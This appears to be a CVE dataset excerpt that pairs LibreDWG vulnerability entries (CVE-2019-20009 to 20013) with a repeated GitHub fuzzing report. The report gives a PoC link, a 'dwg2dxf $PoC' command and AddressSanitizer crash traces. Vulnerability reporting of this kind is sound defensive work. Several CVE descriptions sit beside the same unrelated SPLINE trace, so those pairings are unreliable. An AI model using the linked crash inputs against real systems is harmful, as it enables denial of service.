0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # # | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments | 24 | 2019-12-24T03:44:32Z | 2020-01-16T12:12:03Z | https://github.com/LibreDWG/libredwg/issues/176 | 541,977,765 | 176 |
CVE-2019-20009 | 2019-12-27T01:15:13.257 | An issue was discovered in GNU LibreDWG before 0.93. Crafted input will lead to an attempted excessive memory allocation in dwg_decode_SPLINE_private in dwg.spec. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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] | https://github.com/LibreDWG/libredwg/issues/176#issue-541977765 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
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==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # # | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments | 24 | 2019-12-24T03:44:32Z | 2020-01-16T12:12:03Z | https://github.com/LibreDWG/libredwg/issues/176 | 541,977,765 | 176 |
CVE-2019-20010 | 2019-12-27T01:15:13.320 | An issue was discovered in GNU LibreDWG 0.92. There is a use-after-free in resolve_objectref_vector in decode.c. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
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.....
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0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # # | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments | 24 | 2019-12-24T03:44:32Z | 2020-01-16T12:12:03Z | https://github.com/LibreDWG/libredwg/issues/176 | 541,977,765 | 176 |
CVE-2019-20011 | 2019-12-27T01:15:13.383 | An issue was discovered in GNU LibreDWG 0.92. There is a heap-based buffer over-read in decode_R13_R2000 in decode.c. | {
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] | https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643439 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
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0x7fffa35bf000-0x7fffa35c1000 [vdso]
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==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # # | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments | 24 | 2019-12-24T03:44:32Z | 2020-01-16T12:12:03Z | https://github.com/LibreDWG/libredwg/issues/176 | 541,977,765 | 176 |
CVE-2019-20012 | 2019-12-27T01:15:13.460 | An issue was discovered in GNU LibreDWG 0.92. Crafted input will lead to an attempted excessive memory allocation in dwg_decode_HATCH_private in dwg.spec. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
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0x55f7bb93f000-0x55f7bb943000
.....
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0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # # | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments | 24 | 2019-12-24T03:44:32Z | 2020-01-16T12:12:03Z | https://github.com/LibreDWG/libredwg/issues/176 | 541,977,765 | 176 |
CVE-2019-20013 | 2019-12-27T01:15:13.523 | An issue was discovered in GNU LibreDWG before 0.93. Crafted input will lead to an attempted excessive memory allocation in decode_3dsolid in dwg.spec. | {
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] | https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643060 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ab000-0x7fd7813ad000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ad000-0x7fd7813b1000
0x7fd7813b1000-0x7fd78154e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78154e000-0x7fd78174d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174e000-0x7fd78174f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174f000-0x7fd78189f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # # | Several bugs found by fuzzing | https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments | 24 | 2019-12-24T03:44:32Z | 2020-01-16T12:12:03Z | https://github.com/LibreDWG/libredwg/issues/176 | 541,977,765 | 176 |